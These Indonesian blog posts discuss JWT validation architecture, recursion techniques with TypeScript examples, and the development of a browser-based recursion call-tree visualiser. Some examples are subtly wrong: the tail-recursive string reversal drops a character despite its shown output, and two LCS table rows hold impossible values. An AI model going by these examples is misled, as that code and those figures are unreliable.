Berpeluang meningkatkan kinerja. Saya sering menggambarkan ini sebagai seluruh browser pengguna sebagai cache JWT yang terdistribusi versus beberapa instance Redis di user service yang tersentralisasi.

Terdapat beberapa framework yang bisa mempermudah implementasi pola ini, misalnya bila menggunakan Kubernetes, saya dapat menggunakan Istio untuk melakukan verifikasi JWT setiap kali service dipanggil. Untuk validasi JWT di Ingress Controller, saya dapat menerapkan teknik seperti di halaman Melakukan Validasi JWT Melalui Kong Ingress Controller.

Apa perbedaan validasi JWT yang dilakukan oleh Service Mesh seperti Istio dan Ingress Controller seperti Kong?
Jawaban:
Istio menyisipkan Envoy proxy sebagai sidecar di setiap pod-nya Service. Dengan demikian, tidak ada cara lain untuk mengakses pod tanpa lewat Envoy proxy ini. Setiap request langsung ke pod tanpa JWT akan ditolak.
Ingress Controller berperan sebagai semacam gateway seperti API gateway sehingga pod tetap bisa diakses tanpa JWT secara langsung secara internal (atau dipanggil tanpa melalui gateway).
Apakah boleh JWT hanya di validasi di API gateway saja?
Jawaban:
Walaupun tidak salah, arsitektur ini akan membuat peran JWT sangat terbatas dan tidak begitu berguna. Salah satu kelebihan JWT adalah ia bisa melewatkan data seperti email, nama, permissions, dan sebagainya dari browser ke API gateway ke service yang satu dan service lainnya.
Selain itu, arsitektur ini tidak sejalan dengan prinsip zero-trust karena service harus percaya pada API gateway (trust boundary-nya lebih luas). Ibarat kompleks apartemen, pada saat memasuki apartemen, penghuni akan melalui pemeriksaan umum di pintu gerbang (seperti menunjukkan kartu akses). Setelah sampai di pintu kamar, penghuni tetap perlu membuka pintu kamar dengan kunci. Bila tidak, penghuni yang satu bisa memasuki kamar penghuni lainnya.

Salah satu kritik yang sering dijumpai pada JWT adalah ukurannya yang besar. Sebagai alternatifnya, saya dapat menggunakan opaque token yang singkat di sisi front end. Begitu ingin memanggil API, front end akan menambahkan opaque token ini di HTTP Request. API gateway yang menerima opaque token akan memanggil Authorization Server untuk mengubahnya menjadi access token dalam bentuk JWT yang sudah berisi data lengkap (berukuran besar) untuk diteruskan ke service tujuan.

Pada arsitektur monolith dimana semua anggota tim mengerjakan satu back end yang sama, saya merasa penggunaan JWT tidak memberikan banyak keuntungan. Metode tradisional dengan session cookie akan lebih tepat. Menghasilkan angka acak sebagai pengenal session pengguna jauh lebih cepat bila dibandingkan menggunakan public-private key dalam menghasilkan JWT.

Teknik Rekursi Di Struktur Data & Algoritma

Thu, 03 Oct 2024 00:00:00 GMT

Rekursi (recursion) adalah sebuah teknik pemograman dimana sebuah function memanggil dirinya sendiri. Walaupun jarang dipakai di pemograman tingkat tinggi seperti aplikasi web, rekursi merupakan fondasi yang penting dan sering dijumpai di persoalan struktur data & algoritma (DS&A). Sebagai contoh, dynamic programming merupakan salah satu bentuk penerapan rekursi dan struktur data tree adalah struktur data yang sering ditelusuri secara rekursif.

Beberapa istilah DS&A terdengar mirip seperti istilah software engineering lainnya tetapi sebenarnya tidak saling berhubungan. Sebagai contoh, dynamic programming pada bahasa pemograman adalah sebuah klasifikasi bahasa pemograman yang tidak memiliki tipe data statis (misalnya Python & JavaScript versus C/C++ & Java). Dynamic programming pada DS&A adalah sebuah teknik dalam menyelesaikan persoalan dimana persoalan dibagi menjadi persoalan yang lebih kecil untuk diproses lewat rekursi. Istilah dynamic disini dipilih karena cara membuatnya yang tidak seperti algoritma konvensional dimana programmer menyelesaikan permasalahan berurutan langkah demi langkah.

Contoh lainnya adalah heap. Pada DS&A, heap adalah struktur data tree dimana nilai dari sebuah node selalu lebih besar (untuk max heap) atau lebih kecil (untuk min heap) dari nilai children-nya. Pada software engineering, heap adalah lokasi memori bebas yang tersedia untuk dipakai oleh kode program (misalnya melalui malloc di C). Heap untuk malloc ini sama sekali tidak berhubungan dengan struktur data tree dan murni hanya kebetulan saja mereka memakai nama yang sama (heap secara literal berarti timbunan atau onggokan).

Salah satu kendala yang saya jumpai saat mempelajari teknik rekursif adalah sulitnya melakukan visualiasi pemanggilan. Untuk itu, saya membuat Visual Recursion dengan harapan supaya saya bisa lebih memahami teknik rekursif.

Rekursi

Pada matematika, contoh klasik rekursi adalah deretan Fibonacci yang didefinisikan sebagai berikut ini:

\begin{align} F_0 &= 0,\\ F_1 &= 1,\\ F_n &= F_{n-1} + F_{n-2} \end{align}

Walaupun demikian, implementasi-nya di kode program tidak selalu harus lewat rekursi karena function di pemograman memiliki lebih banyak fitur dibandingkan dengan function matematika. Sebagai contoh, ini adalah contoh implementasi function yang mencari angka Fibonacci pada posisi tertentu melalui loop (secara iteratif):

function solve(n: number): number {
    let a = 0;
    if (n === 1) {
        return a;
    }
    let b = 1;
    if (n === 2) {
        return b;
    }
    for (let i=3; i<=n; i++) {
        let sum = a + b;
        a = b;
        b = sum;
    }
    return b;
}

console.log(solve(10));

// OUTPUT:
// 34

Secara umum, kode program versi iteratif memiliki performance yang lebih baik dibandingkan dengan versi rekursif. Walaupun demikian, biasanya versi rekursif lebih mudah dipahami dibandingkan dengan versi iteratif. Contohnya adalah Ackermann function yang didefinisikan seperti berikut ini:

A(m,n) = \begin{cases} n + 1 &\text{if }m = 0\\ A(m-1,1) &\text{if }m > 0&\text{ and } n = 0\\ A(m-1, A(m,n-1)) &\text{if }m > 0&\text{ and } n > 0 \end{cases}

Function tersebut akan mudah dipahami bisa ditulis melalui pemanggilan rekursif seperti pada contoh kode program berikut ini:

function solve(m: number, n: number): number {
    if (m === 0) {
        return n + 1;
    }
    return solve(m - 1, n === 0 ? 1 : solve(m, n - 1));
}

console.log(solve(2,3));

// OUTPUT:
// 9

Memoization

Salah satu cara untuk meningkatkan kinerja rekursi adalah dengan menggunakan memoization. Implementasinya lumayan sederhana, cukup simpan hasil kembalian function untuk argumen tertentu sehingga bila nanti ada pemanggilan dengan argumen yang sama, tidak perlu dihitung lagi. Sama seperti bentuk caching lainnya, walaupun kecepatan eksekusi meningkat, memoization akan menambah penggunaan memori.

Sebagai contoh, ini adalah versi kode program yang menghitung Ackermann function yang sudah menggunakan memoization:

const cache = new Map<string, number>();

function solve(m: number, n: number): number {
    const h = `${m};${n}`;
    if (cache.has(h)) {
        return cache.get(h);
    }
    if (m === 0) {
        return n + 1;
    }
    const result = solve(m - 1, n === 0 ? 1 : solve(m, n - 1));
    cache.set(h, result);
    return result;
}

console.log(solve(2,3));

// OUTPUT:
// 9

Bila dilihat dari call tree yang dihasilkan, sekarang terlihat jauh lebih singkat dari versi sebelumnya. Versi tanpa memoization melibatkan 43 kali pemanggilan function. Bandingkan dengan versi memoization yang hanya melibatkan 22 kali pemanggilan function.

Karena Map hanya mendukung sebuah key tunggal, saya menggabungkan m dan n dalam bentuk string. Bila ingin kinerja yang lebih baik lagi, key sebaiknya dalam bentuk sebuah angka. Saya bisa menghasilkan sebuah angka unik dari dua angka yang berbeda dengan menggunakan Cantor pairing function yang didefinisikan seperti berikut ini:

\pi(k_1,k_2) = \cfrac{1}{2}(k_1+k_2)(k_1+k_2+1)+k_2

dimana $k_1,k_2\in\lbrace0,1,2,3,...\rbrace$ .

Versi kode programnya terlihat seperti berikut ini:

const cache = new Map<number, number>();

function pair(m: number, n: number): number {
    return ((m+n)*(m+n+1))/2 + n;
}

function solve(m: number, n: number): number {
    const p = pair(m, n);
    if (cache.has(p)) {
        return cache.get(p);
    }
    if (m === 0) {
        return n + 1;
    }
    const result = solve(m - 1, n === 0 ? 1 : solve(m, n - 1));
    cache.set(p, result);
    return result;
}

console.log(solve(2,3));

// OUTPUT:
// 9

Tail Recursion

Pada saat sebuah function dipanggil, sistem operasi akan menyimpan informasi seperti posisi kembali di sebuah memori sementara yang disebut stack. Bila function tersebut memanggil function lain lagi, informasi posisi saat ini akan ditambahkan ke stack, dan begitu seterusnya. Memori stack ini biasanya terbatas, misalnya area stack secara bawaan adalah 8 MB di Linux dan 1 MB di Windows.

Bila sebuah function memanggil function yang kemudian memanggil function lain dan kemudian memanggil function lain yang kemudian memanggil function lain dan seterusnya hingga area stack menjadi penuh, program akan mengalami kesalahan. Jenis kesalahan seperti ini disebut sebagai stack overflow. Rekursi sangat rentan terhadap kesalahan stack overflow karena banyaknya pemanggil function yang terjadi.

Bila function rekursif yang dipanggil merupakan kode program paling terakhir yang dikerjakan di sebuah function, ia disebut sebagai tail recursion. Salah satu kondisi unik pada tail recursion adalah sebenarnya tidak perlu menggunakan stack untuk mengingat posisi kembali terakhir karena ia bisa langsung kembali ke function sebelum-sebelumnya. Dengan demikian, tail recursion dapat dioptimalisasikan menjadi seperti iterasi tidak akan terjadi stack overflow lagi. Namun, tidak semua compiler atau interpreter mendukung fitur ini. Berdasarkan informasi di artikel Wikipedia, tidak semua browser JavaScript mendukung tail call optimization (terbatas di Safari/WebKit).

Sebagai contoh, berikut ini adalah kode program yang membalikkan string secara rekursif:

function solve(s: string): string {
    if (s.length < 2) return s;
    return solve(s.slice(1)) + s[0];
}

console.log(solve('jocki'));

// OUTPUT:
// ikcoj

Sementara itu, berikut ini adalah versi yang menggunakan tail recursion:

function solve(s: string, acc?: string): string {
    if (s.length < 2) return acc;
    return solve(s.slice(1), s[0] + (acc ?? ''));
}

console.log(solve('jocki'));

// OUTPUT:
// ikcoj

Biarpun sama berakhir dengan return solve() di baris terakhir, kode program pertama tidak menerapkan tail recursion. Hal ini karena return solve(...) + s[0] dimana hasil kembalian pemanggilan rekursif solve(...) perlu ditambahkan lagi dengan s[0]. Ini menunjukkan masih ada yang perlu dilakukan setelah pemanggilan rekursif selesai! Sementara itu, pada program versi kedua, baris terakhir murni return solve(...) tanpa tambahan apa2 sehingga ini adalah tail recursion.

Algoritma Divide and Conquer

Divice and conquer adalah jenis algoritma rekursi yang memecahkan permasalahan menjadi permasalahan kecil untuk diselesaikan, kemudian hasil-nya digabungkan kembali untuk mendapatkan solusi permasalahan tersebut. Salah satu contoh algoritma divide and conquer yang populer adalah quick sort. Berikut ini adalah contoh kode program quick sort:

function solve(arr: number[]): number[] {
    if (arr.length < 2) {
        return arr;
    }
    const pivot = arr[Math.floor(Math.random() * arr.length)];
    const left = [];
    const right = [];
    for (const a of arr) {
        if (a < pivot) {
            left.push(a);
        } else if (a > pivot) {
            right.push(a);
        }
    }
    return [...solve(left), pivot, ...solve(right)];
}

const data = [55,23,44,77,45,90,3,8,2];
console.log(`Unsorted array is `, data);
const sorted = solve(data);
console.log(`Sorted array is `, sorted);

// OUTPUT:
// Unsorted array is   55,23,44,77,45,90,3,8,2
// Sorted array is      2,3,8,23,44,45,55,77,90

Pada quick sort, terlihat bahwa array yang akan diurutkan dipecah berdasarkan pivot di posisi yang acak. Setelah mencapai ukuran paling kecil, array-array yang kecil ini digabungkan menjadi satu per satu hingga menjadi kembali seperti array awal tetapi kini dengan posisi yang sudah berurut.

Backtracking

Backtracking adalah variasi dari algoritma rekursi yang memungkinkan kode program untuk berhenti dari proses rekursi di saat kondisi sudah tidak valid lagi. Ini adalah bentuk optimalisasi dari pendekatan mencoba brute force semua kombinasi yang ada. Salah satu persoalan yang paling sering dijumpai untuk backtracking adalah N-queen puzzle. Bagaimana cara-nya meletakkan $N$ ratu di papan catur dengan ukuran $NxN$ dimana mereka tidak saling menyerang satu sama lain?

function isSafe(board: number[][], row: number, col: number): boolean {
    for (let i=0; i<col; i++) {
        if (board[row][i] === 1) {
            return false;
        }
    }
    for (let i=row, j=col; i>=0 && j>=0; i--, j--) {
        if (board[i][j]) {
            return false;
        }
    }
    for (let i=row,j=col; j>=0 && i<N; i++,j--) {
        if (board[i][j]) {
            return false;
        }
    }

    return true;
}

function solve(board: number[][], col: number): boolean {
    if (col >= N) {
        return true;
    }
    for (let i=0; i<N; i++) {
        if (isSafe(board, i, col)) {
            board[i][col] = 1;
            if (solve(board, col+1)) {
                return true;
            }
            board[i][col] = 0;
        }
    }
    return false;
}

function createBoard(size: number): number[][] {
    const result = new Array(size);
    for (let i=0; i<size; i++) {
        result[i] = new Array(size).fill(0);
    }
    return result;
}

const N = 4;
const board = createBoard(N);

if (solve(board, 0)) {
    console.log(`The solution for ${N} queens is:\n`);
    for (const row of board) {
        console.log(row);
    }
}

Pada kode program di atas, begitu isSafe() mengembalikan false (posisi tidak valid), maka posisi ratu saat ini akan dihapus dan proses rekursi untuk cabang ini tidak akan diteruskan.

Dynamic Programming

Dynamic programming hampir sama seperti divide and conquer yang memecahkan sebuah permasalahan menjadi masalah-masalah kecil. Perbedaannya, pada dynamic programming, permasalahan kecil ini saling berhubungan satu dengan yang lainnya, sementara pada divide and conquer, setiap permasalahan kecil masing-masing berdiri sendiri.

Salah satu contoh dynamic programming adalah longest common subsequence (LCS). LCS dipakai untuk mencari bagian dari string yang sama tetapi tidak perlu berurut. Penerapannya adalah untuk menampilkan diff, revisi seperti di git, dan sebagainya. Definisi LCS secara matematika adalah:

LCS(X_i,Y_j)=\begin{cases} \in &\text{if }i = 0\text{ or }j = 0\\ LCS(X_{i-1},Y_{j-1})^\land{x_i} &\text{if }i,j > 0\text{ and }x_i = y_j\\ max\lbrace{LCS(X_i,Y_{j-1}),LCS(X_{i-1},Y_j)}\rbrace &\text{if }i,j > 0\text{ and }x_i\ne{y_j} \end{cases}

dimana string yang akan dibandingkan adalah $X = \lparen{x_1},{x_2},\ldots,{x_m}\rparen$ dan $Y = \lparen{y_1},{y_2},\ldots,{y_n}\rparen$ . Nilai $X_0,X_1,X_2,\ldots,X_m$ adalah 0, 1, 2 karakter pertama dari $X$ dan seterusnya. Nilai $Y_0,Y_1,Y_2,\ldots,Y_n$ adalah 0, 1, 2 karakter pertama dari $Y$ dan seterusnya. Nilai $\in$ mewakili string kosong. Operator $^\land$ dipakai untuk menggabungkan string.

Dynamic programming bisa dilakukan secara top down (rekursif) ataupun bottom up (iteratif). Teknik bottom up biasanya memakai tabel atau array yang perlu di-isi (disebut juga tabulation). Sebagai contoh, saya bisa membuat tabel untuk rumus matematika di atas dengan kode program seperti berikut ini:

function LCS(X: string, Y: string): number[][] {
    const m = X.length;
    const n = Y.length;
    const C = new Array(m+1);
    for (let i=0; i<m+1; i++) {
        C[i] = new Array(n+1).fill(0);
    }
    for (let i=1; i<=m; i++) {
        for (let j=1; j<=n; j++) {
            if (X[i-1] === Y[j-1]) {
                C[i][j] = C[i-1][j-1]+1;
            } else {
                C[i][j] = Math.max(C[i][j-1], C[i-1][j]);
            }
        }
    }
    return C;
}

const X = "jocki";
const Y = "jokowi";
const C = LCS(X, Y);

Tabel yang dihasilkan untuk "jocki" dan "jokowi" akan terlihat seperti berikut ini:

\begin{array}{l|r:r:r:r:r:r:r} & \in & \text{j} & \text{o} & \text{k} & \text{o} & \text{w} & \text{i} \\ \hline \in & 0 & 0 & 0 & 0 & 0 & 0 & 0 \\ \text{j} & 0 & 1 & 1 & 1 & 1 & 1 & 1 \\ \text{o} & 0 & 1 & 2 & 2 & 2 & 2 & 2 \\ \text{c} & 0 & 2 & 2 & 2 & 2 & 2 & 2 \\ \text{k} & 0 & 2 & 3 & 3 & 3 & 3 & 3 \\ \text{i} & 0 & 1 & 2 & 3 & 3 & 3 & 4 \\ \end{array}

Tabel di atas memperlihatkan LCS untuk setiap prefix mulai dari 0 hingga keseluruhan. Sebagai contoh, jumlah LCS joc dan jok adalah 2, jumlah LCS jock dan joko adalah 3. Dan begitu seterusnya. Untuk keseluruhan kata, jumlah LCS jocki dan jokowi yang berada di pojok kanan bawah adalah 4.

Untuk menelusuri setiap perbedaan yang ada di matrix LCS di atas, saya dapat menggunakan teknik rekursi seperti pada kode program berikut ini:

function printDiff(C: number[][], X: string, Y: string, i: number, j: number) {
    if (i >= 0 && j >= 0 && X[i] === Y[j]) {
        printDiff(C, X, Y, i-1, j-1);
    } else if (j > 0 && (i === 0 || C[i][j-1] >= C[i-1][j])) {
        printDiff(C, X, Y, i, j-1);
        console.log("+ " + Y[j]);
    } else if (i > 0 && (j === 0 || C[i][j-1] <= C[i-1][j])) {
        printDiff(C, X, Y, i-1, j);
        console.log("- " + X[i]);
    }
}

const X = "jocki";
const Y = "jokowi";
const C = LCS(X, Y);
printDiff(C, X, Y, X.length, Y.length);

// OUTPUT:
// - c
// + o
// + w

Output di atas memperlihatkan bahwa "jocki" bisa berubah menjadi "jokowi" bila huruf c dihapus dan ow ditambahkan.

Visual Recursion

Tue, 01 Oct 2024 00:00:00 GMT

Visual Recursion adalah sebuah tool berbasis web untuk melakukan visualisasi recursion call tree. Tool ini sepenuhnya berjalan di browser tanpa interaksi dengan backend. Bahasa pemograman yang didukung adalah TypeScript dan JavaScript.

Panduan Penggunaan

Ketik kode program pada editor yang tersedia. Program harus mengandung sebuah function recursive dengan nama solve(). Function ini boleh memiliki lebih dari satu parameter.
Klik tombol Run untuk menjalankan kode program.
Output dari kode program (dari perintah console.log()) akan muncul di bagian Output. Isi dari Output juga dapat dihapus dengan men-klik tombol Clear Output.
Call tree untuk solve() akan ditampilkan pada sebuah canvas berukuran 3000 x 2000 pixels di bagian bawah. Drag canvas ini untuk melihat bagian call tree yang tidak terlihat.

Klik tombol panah untuk melihat call tree mulai dari awal hingga akhir:

Gerakkan posisi mouse pada sebuah node untuk melihat hasil kembalian dari function. Warna node akan menjadi biru dan tanda panah akan berbalik ke parent node dan mengandung teks berupa nilai yang dikembalikan:

Klik tombol Zoom in dan Zoom out untuk mengubah ukuran huruf. Untuk mengembalikan ukuran huruf serta posisi ke semula, klik tombol reset.

Klik tombol Download untuk menyimpan call tree sebagai file gambar PNG:

Call tree hanya dihasilkan bila kode program mengandung sebuah function dengan nama solve(). Tidak ada batasan bagaimana cara pemanggilan solve(), jumlah argumen dan tipe data argumen-nya. Sebagai contoh, kode program berikut ini mendefinisikan solve() dengan 4 parameter: a dengan tipe array string, b dengan tipe numerik, c dengan tipe boolean dan d dengan tipe object Date:

Visual Recursion dilengkapi dengan class TreeNode untuk mewakili binary tree dengan definisi seperti berikut ini:

class TreeNode {
    constructor(public val: any, public left?: TreeNode, public right?: TreeNode) {}
}

Class TreeNode tidak perlu di-import dan dapat langsung dipakai di kode program. Bila argumen solve() adalah TreeNode, ia akan ditampilkan dalam bentuk tree seperti yang terlihat pada gambar berikut ini:

Development

Kode program Visual Recursion saat ini menjadi dengan blog ini dalam bentuk komponen Astro dengan nama VisualRecursion.astro. Bila VisualRecursion.astro lebih banya berisi kode HTML, saya meletakkan kode program TypeScript di folder src/scripts/recursive-viz.

File ui.js berisi kode program untuk melakukan binding antara JavaScript dan UI HTML. Untuk mengurangi jumlah dependency, saya memilih untuk melakukan binding secara manual dengan addEventListener() dan sebagainya. Bila ini adalah sebuah proyek baru yang berdiri sendiri, saya pasti akan menggunakan framework seperti React atau Angular sehingga kode programnya akan lebih rapi dan singkat.

Untuk editor kode program, saya menggunakan Monaco Editor yang berbasiskan VS Code. Saya menyertakan library tersebut sebagai file statis di folder public/vs. Agar IntelliSense tetap mengenali class yang tidak terlihat seperti TreeNode, saya menggunakan addExtralib seperti pada kode program berikut ini:

src/scripts/recursive-viz/ui.ts

...
typescriptDefaults.addExtraLib(`
    class TreeNode {
        constructor(public val: any, public left?: TreeNode, public right?: TreeNode) {}
    }
`);
...

Saya bisa saja menyimpan template kode program yang siap pakai dalam bentuk variabel string, namun Vite memiliki dukungan raw import sehingga saya bisa meletakkan template dalam bentuk file di folder template dan menggunakan import seperti berikut ini untuk memakainya:

src/scripts/recursive-viz/ui.ts

import fibonacciCodeTemplate from './template/fibonacci?raw';
import nQueenCodeTemplate from './template/n-queen?raw';
import palindromeCodeTemplate from './template/palindrome?raw';
import quicksortCodeTemplate from './template/quicksort?raw';
import mirrorBinaryTreeTemplate from './template/binary-tree-mirror?raw';

Karena requirement untuk visualisasi lumayan fleksibel dan saya tidak menemukan library yang mendukung output sesuai dengan yang diinginkan, saya membuat implementasi visualisasi call tree langsung dari fitur Canvas bawaan HTML5. Kode program yang memanipulasi Canvas ini sebagian besar dapat dijumpai di visualization.ts. Sebagai contoh, untuk men-download Canvas menjadi file gambar, saya membuat method save() seperti berikut ini:

src/scripts/recursive-viz/visualization.ts

...
save() {
    if (this.rawSource.length === 0) {
        return;
    }
    const imageData = this.ctx.getImageData(0, 0, this.width, this.height);
    let minY = 0, maxY = 0;
    let minX = this.width, maxX = 0;

    // ...
    // mencari minX, minY, maxX dan maxY berdasarkan pixel...
    // ...


    // ...
    // membuat tmpCanvas yang hanya berisi salinan gambar tanpa ruang kosong yang luas
    //

    const tmpCanvas = document.createElement('canvas');
    tmpCanvas.width = contentWidth + 20;
    tmpCanvas.height = contentHeight + 20;

    // ...
    // membuat element <a href> virtual dan men-klik elemen tersebut secara virtual untuk
    // mensimulasikan proses download file
    const a = document.createElement('a');
    a.setAttribute('href', tmpCanvas.toDataURL());
    a.setAttribute('download', 'recursive_visualizer.png');
    document.body.appendChild(a);
    a.click();
    document.body.removeChild(a);
}
...

Karena ukuran Canvas adalah 3000 x 2000 pixels, bila saya menyimpannya ke file begitu saja, ada kemungkinan besar file gambar yang dihasilkan akan terlihat kecil dan berisi banyak bagian kosong. Oleh sebab itu, pada kode program di atas, saya menggunakan getImageData() dari Canvas untuk mendapatkan isi gambar dalam bentuk array yang berisi informasi pixel. Setiap pixel di Canvas akan diwakili oleh 4 elemen array, masing-masing untuk warna merah, hijau, biru dan alpha (transparansi). Karena saya mengisi Canvas dengan latar belakang warna putih, bila saya menjumpai titik yang bukan berwarna putih, maka saya akan menyimpan posisi tersebut sebagai lokasi awal gambar.

Sepertinya kode program untuk mendeteksi pixel dapat dijadikan soal kompetisi struktur data dan algoritma (DS&A) 😎 Saat ini kode yang saya pakai sangat sederhana dan tidak terlihat elegan. Saya hanya membuat empat for loop untuk mendeteksi ujung pixel di posisi kiri atas, kanan atas, kiri bawah dan kanan bawah seperti yang terlihat pada kode dibawah ini:

const imageData = this.ctx.getImageData(0, 0, this.width, this.height);
let minY = 0, maxY = 0;
let minX = this.width, maxX = 0;
for (let i=0; i<imageData.data.length; i++) {
    if (imageData.data[i] !== 255) {
        minY = Math.floor(i/(4*imageData.width));
        break;
    }
}
for (let i=imageData.data.length-1; i>=0; i--) {
    if (imageData.data[i] !== 255) {
        maxY = Math.floor(i/(4*imageData.width));
        break;
    }
}
for (let y=0; y<imageData.height; y++) {
    for (let x=0; x<imageData.width; x++) {
        const i = 4*x + 4*imageData.width*y;
        if (imageData.data[i] !== 255 || imageData.data[i+1] !== 255 ||
            imageData.data[i+2] !== 255 || imageData.data[i+3] !== 255) {
                if (x < minX) {
                    minX = x;
                }
                break;
        }
    }
    for (let x=imageData.width-1; x>=0; x--) {
        const i = 4*x + 4*imageData.width*y;
        if (imageData.data[i] !== 255 || imageData.data[i+1] !== 255 ||
            imageData.data[i+2] !== 255 || imageData.data[i+3] !== 255) {
            if (x > maxX) {
                maxX = x;
            }
            break;
        }
    }
}

Apa yang dapat dilakukan untuk membuat kode program di atas lebih singkat dan lebih cepat?

Untuk menjalankan kode program yang diketik oleh pengguna, saya akan menggunakan fasilitas eval() bawaan JavaScript. Namun sebelumnya, saya melakukan proses transformasi kode program dengan menyisipkan kode program yang diketik oleh pengguna ke dalam template/intercepted_code.ts dan menggunakan library Typescript untuk melakukan transpilasi kode program TypeScript menjadi JavaScript. Kode program yang melakukan proses ini ada di file runner.ts:

src/scripts/recursive-viz/runner.ts

execute(): RawRecord[] {
    this.log('Running...');
    const transpiledCode = ts.transpile(this.completeCode);
    const [result, consoleOutput] = eval(transpiledCode);
    this.log(consoleOutput.join(''));
    return result;
}

Karena TypeScript adalah superset dari JavaScript, ts.transpile() dapat menerima kode program dalam bentuk TypeScript ataupun JavaScript biasa.

Saya menggunakan fitur Proxy dari JavaScript untuk menyadap pemanggilan solve() sehingga saya bisa melihat argumen yang dilewatkan serta nilai yang dikembalikan setiap kali solve() dipanggil. Selain itu, saya juga menerapkan proxy pattern untuk function log dari Console sehingga saya bisa merekam output dari Console.log() untuk ditampilkan di halaman web.

Setelah mendapatkan rekaman eksekusi, agar lebih mudah ditampilkan, saya akan mengubahnya ke dalam bentuk tree. Tree adalah struktur data yang terdiri atas satu atau lebih node dimana setiap node memiliki maksimal 1 parent (berbeda dengan graph dimana node bisa memiliki lebih dari satu parent sehingga tidak akan ada loop di tree). Untuk mewakili node di tree, saya membuat class Node. Kode program yang melakukan proses transformasi untuk membuat tree dapat dijumpai di NodeFactory.

Walaupun terdengar mudah, menggambar tree secara indah ternyata bukanlah hal yang sederhana. Namun, saya tidak perlu memulai dari nol karena banyak computer scientist lain yang telah menemukan solusinya. Salah satu algoritma yang paling sering dipakai untuk menggambar tree adalah algoritma Walker (Buccheim adalah variasi algoritma Walker yang lebih cepat). Oleh sebab itu, saya segera membaca paper dengan judul A Node-Positioning Algorithm for General Trees (Walker, 1989) yang dapat dilihat di https://www.cs.unc.edu/techreports/89-034.pdf. Saya kemudian membuat implementasi algoritma tersebut di class WalkerTreeLayout.

Algoritma Walker dimulai dari firstWalk() yang menghitung posisi koordinat X sementara yang disebut prelimX dan modifier. Proses ini dilakukan pada seluruh node yang ada secara post order. Untuk setiap node yang bukan paling kiri, function apportion() akan dipanggil untuk menggeser node bila perlu demi mengurangi ruang kosong. Setelah firstWalk(), algoritma Walker akan memanggil secondWalk() yang pada dasarnya mengubah posisi sementara di firstWalk() menjadi nilai X dan Y yang siap untuk dipakai.

Class Node berisi informasi yang akan ditampilkan di Canvas (seperti argumen dan nilai kembalian) dan juga operasi yang dibutuhkan oleh algoritma Walker (seperti getLeftSibling(), getLeftNeighbor(), getLeftMost() dan sebagainya).

Node juga berisi method render() yang akan dipanggil oleh Visualization untuk menggambar node tersebut di Canvas. Method render() pada dasarnya akan menggambar kotak yang mewakili node dan visualisasi argumen-nya. Bila node tersebut memiliki parent, saya juga menggambar konektor panah ke parent tersebut. Walaupun terlihat sangat biasa, untuk menggambar sebuah arah panah, saya perlu menggunakan matematika yang melibatkan atan2(), sin() dan cos() seperti yang terlihat pada kode program berikut ini:

src/scripts/recursive-viz/node.ts

const angle = Math.atan2(targetY - sourceY, targetX - sourceX);
ctx.moveTo(sourceX, sourceY);
ctx.lineTo(targetX, targetY);
ctx.lineTo(targetX - 10 * Math.cos(angle - Math.PI / 6), targetY - 10 * Math.sin(angle - Math.PI / 6));
ctx.moveTo(targetX, targetY);
ctx.lineTo(targetX - 10 * Math.cos(angle + Math.PI / 6), targetY - 10 * Math.sin(angle + Math.PI / 6));
ctx.stroke();

Untuk setiap argumen yang perlu di-gambar di node, saya perlu melakukan visualisasi yang berbeda untuk tipe data tertentu. Ini adalah contoh kasus yang tepat untuk menerapkan adapter pattern. Saya membuat sebuah adapter interface dengan nama ArgRenderer. Saya juga membuat implementasinya yang berupa:

BasicValueArgRenderer untuk menampilkan nilai yang telah dikonversikan ke string.
ArrayRowArgRenderer untuk menampilkan array satu dimensi dalam bentuk satu baris per kolom untuk setiap nilai.
MatrixArgRenderer untuk menampilkan array dua dimensi dalam bentuk tabel.
TreeArgRenderer untuk menampilkan TreeNode dalam bentuk tree.

Semua kode program untuk class di atas dapat dijumpai di file arg-renderer.ts. Bila suatu hari nanti perlu membuat visualisasi baru untuk tipe data tertentu, saya dapat menambahkan class baru disini.

TreeArgRenderer cukup unik karena ia menampilkan TreeNode di kode program dalam visualiasi tree. Saya pada dasarnya perlu menggambar tree di dalam tree. TreeNode adalah node yang dipakai untuk membentuk binary tree. Berbeda dengan call tree dimana sebuah node bisa memiliki banyak children, pada binary tree, sebuah node hanya memiliki maksimum 2 children: left dan right. Saya tetap menggunakan WalkerTreeLayout yang sama untuk menampilkan binary tree tersebut.

Testing

Saya percaya bahwa kode program (yang serius) yang dibuat oleh programmer harus memiliki unit testing. Bukan hanya memastikan tidak ada kesalahan, unit test juga membuat programmer merasakan bagaimana memakai method dan class yang sedang dibuatnya. Pada saat melakukan assertion, programmer memastikan kembali tujuan kode program yang sedang dibuat olehnya dan memikirkan hal-hal tidak terduga yang mungkin terjadi (input yang kosong, melebihi nilai maksimum, dan sebagainya).

Bila programmer kesulitan membuat unit test, ini bisa jadi indikator arsitektur software yang buruk. Sebagai contoh, bila saya meletakkan seluruh kode program saya ke dalam sebuah class tunggal di sebuah file tunggal, boleh dibilang proses penulisan unit test akan sangat tidak menyenangkan. Bila menulis unit test saja sudah sulit, maka kemungkinan besar code base tersebut akan sulit dipahami dan sulit dimodifikasi (resiko timbulnya bug lebih besar).

Sebagai contoh, saya memisahkan antara kode program yang menggambar ke Canvas di class Visualization dan apa yang digambar di class Node. Class Visualization akan memakai informasi posisi yang ada di class Node dalam proses penggambaran. Dengan demikian, saya bisa membuat unit test untuk Node untuk memastikan posisi-nya di call tree sudah benar tanpa perlu memiliki objek Canvas atau CanvasRenderingContext2D yang ada di class Visualization.

Untuk melakukan unit testing, saya akan menggunakan Vitest. Saya menambahkan baris berikut ini pada package.json:

package.json

...
  "scripts": {
    ...
    "test": "vitest"
  },
...

Untuk menjalankan unit test, saya bisa memberikan perintah npm run test. Saya juga menambahkan perintah ini ke pipeline Github Actions sehingga unit test akan dijalankan pada pull request seperti yang terlihat pada gambar berikut ini:

Saya menulis unit test di file yang diakhiri dengan *.test.ts. Sebagai contoh, unit test untuk file node.ts ada di node.test.ts. Untuk melakukan assertion, saya menggunakan kode seperti expect().toEqual(), expect().toBeNull(), dan sebagainya.

